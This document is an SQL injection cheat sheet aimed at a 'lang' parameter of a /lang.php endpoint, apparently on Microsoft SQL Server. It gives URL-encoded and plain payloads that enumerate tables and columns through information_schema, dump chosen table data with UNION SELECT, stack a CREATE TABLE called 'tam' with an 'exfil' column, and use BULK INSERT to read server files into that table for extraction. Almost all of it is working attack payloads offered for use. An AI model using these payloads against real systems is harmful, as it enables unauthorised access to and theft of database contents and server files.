Get Table and Column Names

```
/lang.php?lang=’+UNION+all+SELECT+table_name%2b’.’%2bcolumn_n
ame%2b’;’+FROM+information_schema.columns+WHERE+1%3d1

UNION all SELECT table_name+’.’+column_name+’;’ FROM
information_schema.columns WHERE 1=1
```

This will return a list of table and column names in the format:
tableName.ColumnName;tableName.ColumnName…

Get Data from Table

```
/lang.php?lang=’+UNION+all+SELECT+CAST([id]+AS+varchar)%2b’.’
%2b{columnName}%2b’;’+FROM+{tableName}+WHERE+1%3d1

UNION all SELECT cast([id] AS varchar)+’.’+{columnName}+’;’
FROM {tableName} WHERE 1=1
```

This will return the specified data in the format:
id.data;id.data…

Create Table

```
/lang.php?lang=;CREATE+TABLE+tam+(exfil+varchar(8000)));

;CREATE TABLE tam (exfil varchar(8000));
```

This will create a new table called “tam” with a column called “exfil”

Get Data from File

Step 1: Create a new table

```
/lang.php?lang=;CREATE+TABLE+tam+(exfil+varchar(8000)));

;CREATE TABLE tam (exfil varchar(8000));
```

This will create a new table called “tam” with a column called “exfil”

Step 2: Verify that the new table exists

```
/lang.php?lang=’+UNION+all+SELECT+table_name%2b’.’%2bcolumn_n
ame%2b’;’+FROM+information_schema.columns+WHERE+1%3d1

UNION all SELECT table_name+’.’+column_name+’;’ FROM
information_schema.columns WHERE 1=1
```

This will list all tables and columns - check that the new table “tam” exists with column “exfil”

Step 3: Read files into the new table

```
/lang.php?lang=;BULK+INSERT+tam+FROM+’{filePath}’

BULK INSERT tam FROM {filePath}
```

This will add the contents of the file specified as a new row to the table “tam”
filePath - the full file path, e.g. c:\\file.txt

Step 4: Obtain the data from the database

```
/lang.php?lang=UNION+all+SELECT+exfil+FROM+tam+WHERE+’a’%3d’a
’

UNION all SELECT exfil FROM tam WHERE ‘a’=’a’
```

This will extract all data from the “exfil” column of the “tam” table